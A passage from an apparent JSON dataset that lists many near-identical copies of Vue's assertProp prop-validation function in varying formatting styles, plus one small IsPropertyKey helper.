vm);\\n return;\\n }\\n if (value == null && !prop.required) {\\n return;\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" + \\\" Expected \\\" + expectedTypes.map(capitalize).join(', ') + \\\", got \\\" + toRawType(value) + \\\".\\\", vm);\\n return;\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n }\\n }\\n}\",\n \"function assertProp(prop, name, value, vm, absent) {\\n if (prop.required && absent) {\\n warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n return;\\n }\\n if (value == null && !prop.required) {\\n return;\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" + \\\" Expected \\\" + expectedTypes.map(capitalize).join(', ') + \\\", got \\\" + toRawType(value) + \\\".\\\", vm);\\n return;\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n }\\n }\\n}\",\n \"function assertProp(\\n prop,\\n name,\\n value,\\n vm,\\n absent,\\n ) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm,\\n );\\n return;\\n }\\n if (value == null && !prop.required) {\\n return;\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || \\\"\\\");\\n valid = assertedType.valid;\\n }\\n }\\n\\n if (!valid) {\\n warn(\\n getInvalidTypeMessage(name, value, expectedTypes),\\n vm,\\n );\\n return;\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name +\\n '\\\".',\\n vm,\\n );\\n }\\n }\\n }\",\n \"function assertProp(prop, name, value, vm, absent) {\\n\\t if (prop.required && absent) {\\n\\t warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n\\t return;\\n\\t }\\n\\t if (value == null && !prop.required) {\\n\\t return;\\n\\t }\\n\\t var type = prop.type;\\n\\t var valid = !type || type === true;\\n\\t var expectedTypes = [];\\n\\t if (type) {\\n\\t if (!Array.isArray(type)) {\\n\\t type = [type];\\n\\t }\\n\\t for (var i = 0; i < type.length && !valid; i++) {\\n\\t var assertedType = assertType(value, type[i]);\\n\\t expectedTypes.push(assertedType.expectedType || '');\\n\\t valid = assertedType.valid;\\n\\t }\\n\\t }\\n\\t if (!valid) {\\n\\t warn('Invalid prop: type check failed for prop \\\"' + name + '\\\".' + ' Expected ' + expectedTypes.map(capitalize).join(', ') + ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.', vm);\\n\\t return;\\n\\t }\\n\\t var validator = prop.validator;\\n\\t if (validator) {\\n\\t if (!validator(value)) {\\n\\t warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n\\t }\\n\\t }\\n\\t}\",\n \"function assertProp(prop, name, value, vm, absent) {\\n\\t if (prop.required && absent) {\\n\\t warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n\\t return;\\n\\t }\\n\\t if (value == null && !prop.required) {\\n\\t return;\\n\\t }\\n\\t var type = prop.type;\\n\\t var valid = !type || type === true;\\n\\t var expectedTypes = [];\\n\\t if (type) {\\n\\t if (!Array.isArray(type)) {\\n\\t type = [type];\\n\\t }\\n\\t for (var i = 0; i < type.length && !valid; i++) {\\n\\t var assertedType = assertType(value, type[i]);\\n\\t expectedTypes.push(assertedType.expectedType || '');\\n\\t valid = assertedType.valid;\\n\\t }\\n\\t }\\n\\t if (!valid) {\\n\\t warn('Invalid prop: type check failed for prop \\\"' + name + '\\\".' + ' Expected ' + expectedTypes.map(capitalize).join(', ') + ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.', vm);\\n\\t return;\\n\\t }\\n\\t var validator = prop.validator;\\n\\t if (validator) {\\n\\t if (!validator(value)) {\\n\\t warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n\\t }\\n\\t }\\n\\t}\",\n \"function assertProp(prop, name, value, vm, absent) {\\n\\t if (prop.required && absent) {\\n\\t warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n\\t return;\\n\\t }\\n\\t if (value == null && !prop.required) {\\n\\t return;\\n\\t }\\n\\t var type = prop.type;\\n\\t var valid = !type || type === true;\\n\\t var expectedTypes = [];\\n\\t if (type) {\\n\\t if (!Array.isArray(type)) {\\n\\t type = [type];\\n\\t }\\n\\t for (var i = 0; i < type.length && !valid; i++) {\\n\\t var assertedType = assertType(value, type[i]);\\n\\t expectedTypes.push(assertedType.expectedType || '');\\n\\t valid = assertedType.valid;\\n\\t }\\n\\t }\\n\\t if (!valid) {\\n\\t warn('Invalid prop: type check failed for prop \\\"' + name + '\\\".' + ' Expected ' + expectedTypes.map(capitalize).join(', ') + ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.', vm);\\n\\t return;\\n\\t }\\n\\t var validator = prop.validator;\\n\\t if (validator) {\\n\\t if (!validator(value)) {\\n\\t warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n\\t }\\n\\t }\\n\\t}\",\n \"function IsPropertyKey(argument) {\\n if (Type(argument) === 'string') return true;\\n if (Type(argument) === 'symbol') return true;\\n return false;\\n }\",\n \"function assertProp(prop, name, value, vm, absent) {\\n if (prop.required && absent) {\\n warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n return;\\n }\\n if (value == null && !prop.required) {\\n return;\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn('Invalid prop: type check failed for prop \\\"' + name + '\\\".' + ' Expected ' + expectedTypes.map(capitalize).join(', ') + ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.', vm);\\n return;\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n }\\n }\\n}\",\n \"function assertProp(prop, name, value, vm, absent) {\\n if (prop.required && absent) {\\n warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n return;\\n }\\n if (value == null && !prop.required) {\\n return;\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn('Invalid prop: type check failed for prop \\\"' + name + '\\\".' + ' Expected ' + expectedTypes.map(capitalize).join(', ') + ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.', vm);\\n return;\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n `Invalid prop: type check failed for prop \\\"${name}\\\".` +\\n ` Expected ${expectedTypes.map(capitalize).join(', ')}` +\\n `, got ${toRawType(value)}.`,\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 